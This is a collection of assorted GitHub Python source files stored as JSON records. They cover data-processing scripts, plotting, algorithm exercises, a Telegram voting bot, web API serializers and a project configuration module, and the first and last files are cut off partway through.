sys\r\n\r\nfin = open(sys.argv[1], 'r')\r\nfout = open(sys.argv[2], 'w')\r\nCCS = sys.argv[3]\r\n\r\npids = set()\r\ndef saveCohortPID(line):\r\n row = line.strip('\\n').split(',')\r\n if row[col['DXCCS_' + CCS]] == '1':\r\n pids.add(row[col['PID']])\r\n\r\ndef outputCohort(line):\r\n row = line.strip('\\n').split(',')\r\n if row[col['PID']] in pids:\r\n fout.write(line)\r\n\r\nline = fin.readline()\r\nfout.write(line)\r\ncol = ocsv.getColumns(line.strip('\\n'))\r\nprint('Finding all PID in this cohort')\r\nocsv.runFunc(fin, saveCohortPID)\r\nprint('There are totally ' + str(len(pids)) + ' PIDs in this cohort')\r\n\r\nfin.close()\r\nfin = open(sys.argv[1], 'r')\r\nline = fin.readline()\r\nprint('Writing cohort to output')\r\nocsv.runFunc(fin, outputCohort)\r\n","repo_name":"darrenhon/oshpd","sub_path":"extractCohort.py","file_name":"extractCohort.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"74203841795","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n# data=np.load('/home/ericpeng/DeepLearning/Datasets/HumanMotion/Mocap/two_train_4seconds_2.npy',allow_pickle=True)\ndata = np.load('/home/ericpeng/DeepLearning/Projects/MotionPrediction/MRT_nips2021/mix_data/mix2_10persons.npy', allow_pickle=True)\n\neg = 800\ndata_list = data[eg]\n\n# data_list=data_list.reshape(-1,120,15,3)\n# data_list=data_list*0.1*1.8/3 # scale\n# #no need to scale if using the mix_mocap data\n#\n# body_edges = np.array(\n# [[0,1], [1,2],[2,3],[3,4],\n# [4,5],[0,6],[6,7],[7,8],[8,9],[9,10],[0,11],[11,12],[12,13],[13,14],[14,15],[15,16],[13,17],[17,18],[18,19],[19,20],[21,22],[20,23],[13,24],[24,25],[25,26],[26,27],[27,28],[28,29],[27,30]]\n# )\n\n'''\nif use the 15 joints in common\nuse=[0,1,2,3,6,7,8,14,16,17,18,20,24,25,27]\ndata_list=data_list.reshape(-1,120,15,3)\ndata_list=data_list[:,:,[0,1,4,7,2,5,8,12,15,16,18,20,17,19,21],:]\nbody_edges = np.array(\n[[0,1], [1,2],[2,3],[0,4],\n[4,5],[5,6],[0,7],[7,8],[7,9],[9,10],[10,11],[7,12],[12,13],[13,14]]\n)\n'''\n\n\nfig = plt.figure(figsize=(10, 4.5))\n\nax = fig.add_subplot(111, projection='3d')\n\n\nfor eg in range(len(data)):\n data_list = data[eg]\n use = [0, 1, 2, 3, 6, 7, 8, 14, 16, 17, 18, 20, 24, 25, 27]\n data_list = data_list.reshape(-1, 75, 15, 3)\n body_edges = np.array(\n [[0, 1], [1, 2], [2, 3], [0, 4],\n [4, 5], [5, 6], [0, 7], [7, 8], [7, 9], [9, 10], [10, 11], [7, 12], [12, 13], [13, 14]]\n )\n\n plt.ion()\n length_ = data_list.shape[1]\n\n\n i = 0\n\n p_x = np.linspace(-15, 15, 15)\n p_y = np.linspace(-15, 15, 15)\n X, Y = np.meshgrid(p_x, p_y)\n\n while i < length_:\n\n for j in range(data_list.shape[0]):\n\n x = data_list[j, i, :, 0]\n y = data_list[j, i, :, 1]\n z = data_list[j, i, :, 2]\n\n ax.plot(z, x, y, 'y.')\n\n plot_edge = True\n if plot_edge:\n for edge in body_edges:\n alpha = 1\n\n x = [data_list[j, i, edge[0], 0], data_list[j, i, edge[1], 0]]\n y = [data_list[j, i, edge[0], 1], data_list[j, i, edge[1], 1]]\n z = [data_list[j, i, edge[0], 2], data_list[j, i, edge[1], 2]]\n if j == 0:\n ax.plot(z, x, y, zdir='z', c='green', alpha=alpha)\n elif j == 1:\n ax.plot(z, x, y, zdir='z', c='red', alpha=alpha) # double person\n else:\n ax.plot(z, x, y, zdir='z', c='red', alpha=alpha) # double person\n\n ax.set_xlim3d([-3, 3])\n ax.set_ylim3d([-3, 3])\n ax.set_zlim3d([0, 3])\n ax.set_xlabel(\"x\")\n ax.set_ylabel(\"y\")\n ax.set_zlabel(\"z\")\n plt.title(\"batch_\"+str(eg)+\" :\"+str(i), y=-0.1)\n plt.pause(0.0001)\n ax.cla()\n i += 1\n\nplt.ioff()\nplt.show()\nplt.close()","repo_name":"xiaogangpeng/TBIFormer","sub_path":"vis.py","file_name":"vis.py","file_ext":"py","file_size_in_byte":2943,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"61"} +{"seq_id":"36926540750","text":"#!/usr/bin/env python3\n\ntry:\n import warnings\n import sys\n import os\n import re\n warnings.filterwarnings(\"ignore\")\n from pathlib import Path\n import subprocess\n from subprocess import DEVNULL, STDOUT, check_call \nexcept Exception as e:\n sys.stderr.write(str(e) + \"\\n\\n\")\n exit(1) \n \ndef run_checkv(input_dir, outdir, threads, checkv_db_dir):\n checkv_cmd = []\n walk = os.walk(input_dir)\n for path, dir_list, file_list in walk:\n for file_name in file_list:\n if \"fasta\" in file_name:\n file_name_with_path = os.path.join(path, file_name)\n file_name_stem = Path(file_name).stem\n each_cmd = f'checkv end_to_end {file_name_with_path} {outdir}/{file_name_stem} -t 1 -d {checkv_db_dir} 1> /dev/null'\n checkv_cmd.append(each_cmd)\n \n n = int(threads) # The number of parallel processes\n for j in range(max(int(len(checkv_cmd)/n + 1), 1)):\n procs = [subprocess.Popen(i, shell=True, stdout=DEVNULL) for i in checkv_cmd[j*n: min((j+1)*n, len(checkv_cmd))] ]\n for p in procs:\n p.wait() \n \ninput_dir, outdir, threads, checkv_db_dir = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]\nrun_checkv(input_dir, outdir, threads, checkv_db_dir) ","repo_name":"AnantharamanLab/ViWrap","sub_path":"scripts/run_CheckV.py","file_name":"run_CheckV.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"61"} +{"seq_id":"9421419870","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 20 09:48:12 2021\n\n@author: leyuan\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# def _numerical_gradient_no_batch(f, x):\n# h = 1e-4 # 0.0001\n# grad = np.zeros_like(x)\n \n# for idx in range(x.size):\n# tmp_val = x[idx]\n# x[idx] = float(tmp_val) + h\n# fxh1 = f(x) # f(x+h)\n \n# x[idx] = tmp_val - h \n# fxh2 = f(x) # f(x-h)\n# grad[idx] = (fxh1 - fxh2) / (2*h)\n \n# x[idx] = tmp_val # 还原值\n \n# return grad\n\n\n# def numerical_gradient(f, X):\n# if X.ndim == 1:\n# return _numerical_gradient_no_batch(f, X)\n# else:\n# grad = np.zeros_like(X)\n \n# for idx, x in enumerate(X):\n# grad[idx] = _numerical_gradient_no_batch(f, x)\n \n# return grad\n\n\ndef numerical_gradient(f, x):\n '''\n NumPy 迭代器对象 numpy.nditer 提供了一种灵活访问一个或者多个数组元素的方式。\n https://blog.csdn.net/m0_37393514/article/details/79563776\n '''\n h = 1e-4 # 0.0001\n grad = np.zeros_like(x)\n \n it = np.nditer(x, flags=['multi_index'], op_flags=['readwrite'])\n while not it.finished:\n idx = it.multi_index\n tmp_val = x[idx]\n x[idx] = tmp_val + h\n fxh1 = f(x) # f(x+h)\n \n x[idx] = tmp_val - h \n fxh2 = f(x) # f(x-h)\n grad[idx] = (fxh1 - fxh2) / (2*h)\n \n x[idx] = tmp_val \n it.iternext() \n \n return grad\n\n\ndef f(x):\n '''\n f(x1, x2) = x1^2 + x2^2\n '''\n return x[0]**2 + x[1]**2\n\n\n\ndef gradient_descent(f, init_x, lr=0.01, step_num=100):\n x = init_x\n x_history = []\n\n for i in range(step_num):\n x_history.append( x.copy() )\n\n grad = numerical_gradient(f, x)\n x -= lr * grad\n\n return x, np.array(x_history)\n\n\nif __name__ == '__main__':\n\n init_x = np.array([-3.0, 4.0]) \n \n lr = 0.1\n step_num = 20\n x, x_history = gradient_descent(f, init_x, lr=lr, step_num=step_num)\n \n x0 = np.arange(-4, 4, 0.25)\n x1 = np.arange(-4, 4, 0.25)\n X0, X1 = np.meshgrid(x0, x1)\n Y = f(np.array([X0,X1]))\n \n plt.figure(figsize=(8, 8))\n c = plt.contour(X0, X1, Y, levels=[5, 10, 15], linestyles='--')\n plt.clabel(c, fontsize=10, colors='k', fmt='%.1f')\n # plt.plot( [-5, 5], [0,0], '--b')\n # plt.plot( [0,0], [-5, 5], '--b')\n plt.plot(x_history[:,0], x_history[:,1], 'o')\n \n # plt.xlim(-6, 6)\n # plt.ylim(-6, 6)\n plt.xlabel(\"X0\")\n plt.ylabel(\"X1\")\n plt.show()","repo_name":"leyuanheart/Deep_Learning_From_Scratch","sub_path":"2/gradient_descent_example.py","file_name":"gradient_descent_example.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16888539822","text":"def three_sets():\r\n vowels = set(\"aeiou\")\r\n b_m = set(\"bcdfghjklm\")\r\n n_z = set(\"npqrstvwxyz\")\r\n output = []\r\n \r\n input_str = \"people enjoy programming\".split()\r\n for w in input_str:\r\n output += [[vowels.intersection(w), b_m.intersection(w), n_z.intersection(w)]]\r\n print(output)\r\n \r\nif __name__ == \"__main__\":\r\n three_sets()\r\n ","repo_name":"MTset/Python-Programming-Coursework","sub_path":"Python 04: Advanced Python/Lesson 16: Your Future With Python/set_answer.py","file_name":"set_answer.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40946624757","text":"#!/usr/bin/env python3\n\nwith open(\"p2-input\") as f:\n data = f.read().splitlines()\n\nopcodes = data[0].split(',')\nr = [ int(x) for x in opcodes ]\n\np = 0\n\n# Restore the 1202 program alarm state\nr[1] = 12\nr[2] = 2\n\nwhile True:\n op = r[p]\n if op == 99: # Halt\n break\n elif op == 1: # Add\n r[r[p+3]] = r[r[p+1]] + r[r[p+2]]\n elif op == 2: # Mult\n r[r[p+3]] = r[r[p+1]] * r[r[p+2]]\n p += 4\n\nprint(r)\n","repo_name":"stephen-hansen/Advent-of-Code-19","sub_path":"p2/p2-1.py","file_name":"p2-1.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18630661765","text":"import sys\n\nsys.stdin = open(\"input.txt\", \"r\")\n\ninput = sys.stdin.readline\n\nN = int(input())\nn=1\ngraph = [[] for _ in range(N+1)]\nmother = []\n\nfor _ in range(N-1):\n start, end = map(int, input().strip().split())\n graph[start].append(end)\n graph[end].append(start)\n\nvisited = [False for _ in range(N+1)]\nstack = [1]\n\nwhile stack:\n \n a = stack.pop()\n visited[a] = True\n \n for i in graph[a]:\n if not visited[i]:\n stack.append(i)\n mother.append((a, i))\n \n\nmother.sort(key=lambda x:x[1])\n\n\nfor i in mother:\n print(i[0])","repo_name":"junyeong-youn/Jungle_feat.JY","sub_path":"Algorithm/WEEK03/12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23860401188","text":"x, y = list(map(int, input().split()))\ngrid = []\ngrid2 = []\narrmain = []\nfor _ in range(x):\n s = input()\n arr = list(s)\n grid.append(arr)\n if 'WS' in s or 'SW' in s:\n print(\"No\")\n exit()\n else:\n if _ == 0:\n s = s.replace(\".\", \"D\")\n arrmain.append(s)\n else:\n for k in range(y):\n if arr[k] == 'lis':\n if grid[_-1][k] == 'w':\n print(\"No\")\n exit()\n elif arr[k] == 'w':\n if grid[_-1][k] == \"lis\":\n print(\"No\")\n exit()\n else:\n arr[k] = \"D\"\n arrmain.append(''.join(arr))\nprint(\"Yes\")\nfor kkk in arrmain:\n print(kkk)\n","repo_name":"35C4n0r/Codeforces-Py-","sub_path":"PycharmProjects/Codeforces/Protect Sheep.py","file_name":"Protect Sheep.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41234484283","text":"import sys\nimport json\n\nif sys.version_info[0] >= 3:\n from urllib.parse import urlencode\n from urllib.request import urlopen\nelse:\n from urllib import urlencode\n from urllib2 import urlopen\n\nBASEURL = \"https://api.telegram.org/bot%(id)s/%(method)s?%(args)s\"\n\n\nclass TelegramError(Exception):\n pass\n\n\nclass TelegramBot:\n\n def __init__(self, bot_id, timeout=600):\n self.bot_id = bot_id\n self.timeout = timeout\n\n def call(self, method, **args):\n encoded_args = urlencode(args)\n info = dict(id=self.bot_id, method=method, args=encoded_args)\n query_url = BASEURL % info\n try:\n data = urlopen(query_url, timeout=self.timeout)\n except EnvironmentError as e:\n raise TelegramError(\"failed to send request to %s: %s\" %\n (query_url, e))\n if sys.version_info[0] >= 3:\n data = data.read().decode()\n return json.loads(data)\n\n def updates(self, state=None, timeout=None):\n args = {}\n if state is not None:\n args[\"offset\"] = str(state + 1)\n if timeout is not None:\n args[\"timeout\"] = str(timeout)\n data = self.call(\"getUpdates\", **args)\n if not data.get(\"ok\"):\n raise TelegramError(\"Request failed: %s\" %\n (data.get(\"description\")))\n for update in data.get(\"result\"):\n update_id = update.get(\"update_id\")\n message = update.get(\"message\")\n if message is not None:\n yield update_id, message\n\n def updates_loop(self, timeout):\n update_id = None\n while True:\n for update_id, message in self.updates(state=update_id,\n timeout=timeout):\n yield message\n\n def send_message(self, to, message):\n return self.call(\"sendMessage\", chat_id=to, text=message)\n\n def get_me(self):\n data = self.call(\"getMe\")\n return data\n","repo_name":"bhdn/supybot-telegram-bridge","sub_path":"telegram.py","file_name":"telegram.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"31251794824","text":"import asyncio\nimport time\nimport aiohttp\nimport requests\nimport logging\nimport urllib\nresources = [\n 'https://docs.python.org/3/library/concurrent.futures.html',\n 'https://zoom.us/',\n 'https://github.com',\n 'https://www.reddit.com/',\n]\n\n\nasync def fetch_url(url):\n\n async with aiohttp.request('get', url) as request:\n return url, await request.text()\n\n\nasync def async_main():\n\n tasks = [\n asyncio.ensure_future(fetch_url(url))\n for url in resources\n ]\n started = time.time()\n for future in asyncio.as_completed(tasks):\n url, _ = await future\n print(url)\n print('Async spent time: {:.2f}'.format(time.time() - started))\n\n\ndef sync_main():\n\n started = time.time()\n for url in resources:\n requests.get(url)\n print(url)\n print('Sync spent time: {:.2f}'.format(time.time() - started))\n\n\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(name)s %(levelname)s:%(message)s')\nlogger = logging.getLogger(__name__)\nsync_main()\nevent_loop = asyncio.get_event_loop()\nevent_loop.run_until_complete(async_main())\n","repo_name":"MikeKorotkov/python_course_2","sub_path":"itvdn_lesson3_task2_urlib_aiohttp.py","file_name":"itvdn_lesson3_task2_urlib_aiohttp.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11639647730","text":"from pymongo import MongoClient\nfrom datetime import datetime\nprint(\"Started at\", datetime.now())\n\nclient = MongoClient()\ndb = client.twitter_data\ntweets = db.tweets\n\ntweets_with_mentions = tweets.find({\"entities.user_mentions.0\": {\"$exists\": True}})\nreply_tweets = tweets.find({\"entities.user_mentions.0\": {\"$exists\": True}, \"in_reply_to_status_id_str\": {\"$ne\": None}})\nretweets = tweets.find({\"entities.user_mentions.0\": {\"$exists\": True}, \"retweeted_status\": {\"$exists\": True}})\ntweets_with_coordinates = tweets.find({\"entities.user_mentions.0\": {\"$exists\": True}, \"coordinates\": {\"$ne\": None}})\ntweets_with_place = tweets.find({\"entities.user_mentions.0\": {\"$exists\": True}, \"place\": {\"$ne\": None}})\n# id_handles = tweets.distinct(\"entities.user_mentions.id_str\", {\"entities.user_mentions.0\": {\"$exists\": True}})\n\nwith open(\"output.txt\", \"w+\") as output:\n output.write(\"The total number of tweets is \" + str(tweets.count()) + \"\\n\")\n output.write(\"The number of tweets with mentions is \" + str(tweets_with_mentions.count()) + \"\\n\")\n print(\"Queried tweets with mentions at\", datetime.now())\n output.write(\"Out of tweets with mentions the number of 'reply' tweets is \" + str(reply_tweets.count()) + \"\\n\")\n print(\"Queried reply tweets at\", datetime.now())\n output.write(\"Out of tweets with mentions the number of retweets is \" + str(retweets.count()) + \"\\n\")\n print(\"Queried retweets at\", datetime.now())\n output.write(\"Out of tweets with mentions the number of tweets with a 'coordinates' field is \" +\n str(tweets_with_coordinates.count()) + \"\\n\")\n print(\"Queried tweets with coordinates at\", datetime.now())\n output.write(\"Out of tweets with mentions the number of tweets with a 'place' field is \" +\n str(tweets_with_place.count()) + \"\\n\")\n print(\"Queried tweets with place at\", datetime.now())\n # output.write(\"The number of distinct user mentions in tweets is \" +\n # str(len(id_handles)) + \"\\n\")\n # print(\"Queried distinct id handles at\", datetime.now())\n\n# with open(\"handles.txt\", \"w+\") as handles_file:\n# for handle in id_handles:\n# handles_file.write(handle)\n# handles_file.write(\"\\n\")\n","repo_name":"nslobodchuk/twitter-data","sub_path":"05242017/query_new.py","file_name":"query_new.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14801331226","text":"#PF-Assgn-50\n\ndef sms_encoding(data):\n #start writing your code here\n splitted_data=data.split()\n consonents=\"\"\n for word in splitted_data:\n if len(word)==1:\n consonents+=word\n for letter in word:\n if letter not in \"aeiouAEIOU\":\n consonents+=letter\n consonents+=\" \"\n \n return consonents[:len(consonents)-1]\ndata=\"I love Python\"\nprint(sms_encoding(data))","repo_name":"Shweta2013/InfyTQ-Exercises-And-Assignments","sub_path":"PROGRAMMING FUNDAMENTALS USING PYTHON/Day 7/#PF-Assgn-50.py","file_name":"#PF-Assgn-50.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41295159989","text":"print(\"Enter brightness in %(0,100):\",end='')\npath=\"/sys/devices/pci0000:00/0000:00:02.0/drm/card0/card0-LVDS-1/intel_backlight/brightness\"\nbr_file=open(path,'w')\nbr=int(input())\nif(br<1 or br>100):\n exit\nelse:\n brightness=int((br*4882)/100)\n br_file.write(str(brightness))\n br_file.close()\n","repo_name":"kUSHAL0601/BrightnessController","sub_path":"brightness.py","file_name":"brightness.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8602134699","text":"# Question 4 -\n# Write a program to download the data from the link given below and then read the data and convert the into\n# the proper structure and return it as a CSV file.\n\n# Link - https://data.nasa.gov/resource/y77d-th95.json\n\n# Note - Write code comments wherever needed for code understanding.\n\n# Excepted Output Data Attributes\n# ● Name of Earth Meteorite - string \n# ● id - ID of Earth Meteorite - int \n# ● nametype - string \n# ● recclass - string\n# ● mass - Mass of Earth Meteorite - float \n# ● year - Year at which Earth Meteorite was hit - datetime format \n# ● reclat - float \n# ● recclong - float\n# ● point coordinates - list of in\n\nimport pandas as pd\nimport requests\n\ndef download_data(url):\n '''\n This function download the json data from the url\n '''\n response = requests.get(url)\n data = response.json()\n return data\n\n\ndef convert_into_csv(data):\n '''\n This function converts the data from json to csv format and will save it\n '''\n\n # creating list of every field\n names = []\n ids = []\n nametypes = []\n recclass = []\n masses = []\n years = []\n reclats = []\n reclongs = []\n coordinates = []\n\n for meteorite in data:\n names.append(meteorite.get('name', None))\n ids.append(meteorite.get('id', None))\n nametypes.append(meteorite.get('nametype', None))\n recclass.append(meteorite.get('recclass', None))\n masses.append(meteorite.get('mass', None))\n years.append(meteorite.get('year', None))\n reclats.append(meteorite.get('reclat', None))\n reclongs.append(meteorite.get('reclong', None))\n if meteorite.get('geolocation', None) is not None:\n coordinates.append(meteorite['geolocation'].get('coordinates', None))\n else:\n coordinates.append(None)\n\n\n data_dict = {\n 'name' : names,\n 'id' : ids,\n 'nametype' : nametypes,\n 'recclass' : recclass,\n 'mass' : masses,\n 'year' : years,\n 'reclat' : reclats,\n 'reclong' : reclongs,\n 'coordinates' : coordinates\n }\n\n # print(data_dict)\n df = pd.DataFrame(data_dict)\n\n df.to_csv(\"meteorite_data.csv\",index=False)\n\n print(\"Data Exported Successfully\")\n\n\nif __name__ == \"__main__\":\n url = \"https://data.nasa.gov/resource/y77d-th95.json\"\n data = download_data(url)\n convert_into_csv(data=data)","repo_name":"atanu-1991/Assessment_Test","sub_path":"Pythons/prob4.py","file_name":"prob4.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43147187330","text":"\n# TC: O(n)\n# SC: O(1)\n\n\nclass Solution:\n def trap(self, height: List[int]) -> int:\n n = len(height)\n l = 0\n r = n-1\n lmax = 0\n rmax = 0\n ans = 0\n \n while l<=r:\n if height[l]<=height[r]:\n if height[l]<=lmax:\n ans += lmax - height[l]\n else:\n lmax = height[l]\n l+=1\n else:\n if height[r]<=rmax:\n ans += rmax - height[r]\n else:\n rmax = height[r] \n r-=1\n return ans\n \n\n\n\n\n# ----------------------------------------------------------------------\n\n'''\n# see cpp for O(1) pace solution , more optimised\n\n\n# TC: O(n)\n# SC: O(n)\n\n\nclass Solution:\n def trap(self, height: List[int]) -> int:\n left = [] # max from left\n right = [] # max from right (dont forget to reverse it)\n ma1 = 0\n ma2 = 0\n \n for i in range(len(height)):\n ma1 = max(ma1, height[i])\n ma2 = max(ma2, height[len(height)-1-i])\n left.append(ma1)\n right.append(ma2) # we are pushing max from right side at starting(left) so we need to reverse it\n print(left)\n print(right)\n print(height)\n s = 0\n for i in range(len(height)):\n s = s + min(left[i],right[len(height) - i - 1]) - height[i] # reversing the right array while considering min\n \n \n return s\n\n'''\n \n# ----------------------------------------------------------------------\n\n \n ","repo_name":"hardik302001/leetcode","sub_path":"problems/trapping_rain_water/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"25064318623","text":"from telebot import types\n\n\nclass Answers:\n def __init__(self):\n self.start_text = (u'Привет!\\n\\n'\n u'Ты здесь, а значит Унивидение 2022 началось! Участники уже выступили, и теперь исход конкурса зависит от тебя.\\n\\n'\n u'Правила:\\n'\n u'Ты можешь проголосовать за нескольких участников, но у тебя НЕ будет возможности проголосовать за свой факультет!\\n\\n'\n u'Да, мы понимаем, как хочется поддержать друзей, но давай помнить о том, что так победит самый талантливый претендент, а не самый общительный.\\n\\n'\n u'Скорее нажимай на кнопку — пришло время творить историю, и прямо сейчас судьба участников находится в твоих руках!')\n self.start_button_text = '🟢 Голосовать!'\n self.event_closed = 'Голосование закрыто. Приходи в следующий раз.'\n self.error = '❌ Произошла ошибка. Введите /reset'\n self.need_registartion = (u'*Давай сначала зарегистрируемся*\\n\\n'\n u'Введите свой логин единой учётной записи в формате stXXXXXX\\n\\n'\n u'Если вы сотрудник СПбГУ, нажмите соответсвующую кнопку\\.')\n self.need_registartion_eng = (u'*Let\\\\\\'s register first*\\n\\n'\n u'Please enter your personal SPbU student\\\\\\'s ID \\(stXXXXXX\\)\\n')\n self.need_registartion_empl = (u'Введите свой логин сотрудника в формате *stXXXXXX*\\n\\n'\n u'*В случае, если в написании логина будет допущена ошибка* – *голоса будут аннулированы после верификации*')\n\n def start_button(self):\n markup = types.ReplyKeyboardMarkup(one_time_keyboard=True)\n markup.add(types.KeyboardButton(self.start_button_text))\n return markup\n\n\ndef employee_button():\n markup = types.ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard=True)\n markup.add(types.KeyboardButton('👤 Я сотрудник'))\n return markup\n","repo_name":"sawa15/univisionbot","sub_path":"answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1094659372","text":"# Realizar una función para imprimir un listado de productos. La función recibe una lista de tuplas\n# conteniendo los datos de los productos a mostrar. Los datos son Marca, Modelo, Precio y Stock\n# disponible.\n# Por ejemplo:\nLista=[('Samsung', 'LA5890',12345,28),\n('Samsung', 'LB001',2550,205),\n('LG', 'GL-2552',25400,18)]\n\ndef imprimirListadoDeProductos(lista):\n print (\"{:<15} {:<15} {:<10} {:<10} \".format('Marca','Modelo','Precio','Stock'))\n for producto in lista:\n print (\"{:<15} {:<15} {:<10} {:<10} \".format(producto[0],producto[1],producto[2],producto[3]))\n \nimprimirListadoDeProductos(Lista)\n\n","repo_name":"Diegodelias/menuConsolaPython","sub_path":"7_Diego_Delías.py","file_name":"7_Diego_Delías.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6925532958","text":"# -*- coding:utf-8 -*-\nfrom rest_framework import serializers\nfrom django.contrib.auth.models import User\n\nfrom snippets.models import Snippet # LANGUAGE_CHOICES, STYLE_CHOICES\n\n\nclass SnippetSerializer(serializers.ModelSerializer):\n class Meta:\n model = Snippet\n fields = ('id', 'title', 'code', 'linenos', 'language', 'style', 'owner')\n\n def create(self, validated_data):\n return Snippet.objects.create(**validated_data)\n \n def update(self, instance, validated_data):\n instance.title = validated_data.get('title', instance.title)\n instance.code = validated_data.get('code', instance.code)\n instance.linenos = validated_data.get('linenos', instance.linenos)\n instance.language = validated_data.get('language', instance.language)\n instance.style = validated_data.get('style', instance.style)\n instance.save()\n\n return instance\n\n owner = serializers.ReadOnlyField(source='owner.username') # делает поле owner необязательным при\n # запросе, а исходит из того кто делает запрос\n\n\nclass UserSerializer(serializers.ModelSerializer):\n # snippets = serializers.PrimaryKeyRelatedField(many=True, queryset=Snippet.objects.all())\n\n class Meta:\n model = User\n fields = ('id', 'username', 'snippets')\n\n","repo_name":"theforcebemay/snippets_code","sub_path":"snippets/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23636504417","text":"from os import getcwd\nfrom os.path import join\n\nfrom pyoddgen.tools.directory import create_directory, create_directories, delete_directory\nfrom pyoddgen.serializable import Serializable\nfrom pyoddgen.tools.distribution import Distribution\n\n\nclass ProjectConfiguration(Serializable):\n\n def __init__(self):\n self.fields = dict()\n self.fields[\"base_dir\"] = \"\"\n self.fields[\"project_dir\"] = \"\"\n self.fields[\"generator_config\"] = None\n\n def setup_project_directory_structure(self):\n # clean up existing project and re-create it\n delete_directory(self.fields[\"project_dir\"])\n create_directory(self.fields[\"project_dir\"])\n\n # todo: implement\n def check_validity(self):\n return True, \"\"\n\n\nclass GeneratorConfiguration(Serializable):\n\n def __init__(self):\n self.fields = dict()\n self.fields[\"generator\"] = (\"\", \"\")\n\n # directories\n self.fields[\"generator_dir\"] = \"\"\n self.fields[\"resource_dir\"] = \"\"\n self.fields[\"output_dir\"] = \"\"\n\n # files\n self.fields[\"generated_data_log_file\"] = \"\"\n self.fields[\"used_distributions_file\"] = \"\"\n\n # generation\n self.fields[\"batch_size\"] = -1\n\n # writer\n self.fields[\"data_writer\"] = (\"\", \"\")\n self.fields[\"data_record_type\"] = (\"\", \"\")\n\n # log\n self.fields[\"generated_data_log_file_enabled\"] = None\n\n def setup_generator_directory(self, project_dir):\n generator_dir = join(project_dir, self.fields[\"generator_dir\"])\n delete_directory(generator_dir, force=True)\n\n resource_dir = join(project_dir, self.fields[\"resource_dir\"])\n output_dir = join(project_dir, self.fields[\"output_dir\"])\n _, ex = create_directories([resource_dir, output_dir])\n if ex is not None:\n raise Exception(ex)\n\n # todo: implement\n def check_validity(self):\n return True, \"\"\n\n\nclass ObjectDetectionConfiguration(GeneratorConfiguration):\n\n def __init__(self):\n super(ObjectDetectionConfiguration, self).__init__()\n\n # directories\n self.fields[\"resource_classes_dir\"] = \"\"\n self.fields[\"resource_backgrounds_dir\"] = \"\"\n self.fields[\"output_plain_image_dir\"] = \"\"\n\n # files\n self.fields[\"class_weights_file\"] = \"\"\n self.fields[\"backgrounds_weights_file\"] = \"\"\n\n # generation\n self.fields[\"save_generated_plain_images\"] = None\n self.fields[\"final_scale_factor\"] = 0\n self.fields[\"class_distribution_method\"] = None\n self.fields[\"background_distribution_method\"] = None\n self.fields[\"position_distribution_method\"] = None\n self.fields[\"number_of_pastes_per_background_min\"] = -1\n self.fields[\"number_of_pastes_per_background_max\"] = -1\n self.fields[\"distance_between_pastes\"] = -1\n self.fields[\"number_of_pastes_per_background_distribution_method\"] = None\n\n def setup_generator_directory(self, project_dir):\n super(ObjectDetectionConfiguration, self).setup_generator_directory(project_dir)\n resource_classes_dir = join(project_dir, self.fields[\"resource_classes_dir\"])\n resource_backgrounds_dir = join(project_dir, self.fields[\"resource_backgrounds_dir\"])\n output_plain_image_dir = join(project_dir, self.fields[\"output_plain_image_dir\"])\n _, ex = create_directories([resource_classes_dir, resource_backgrounds_dir, output_plain_image_dir])\n if ex is not None:\n raise Exception(ex)\n\n # todo: implement\n def check_validity(self):\n return True, \"\"\n\n\ndef create_default_project_config():\n config = ProjectConfiguration()\n config.fields[\"base_dir\"] = getcwd()\n config.fields[\"project_dir\"] = join(config.fields[\"base_dir\"], \"project-1\")\n config.fields[\"generator_config\"] = create_default_object_detection_config()\n return config\n\n\ndef 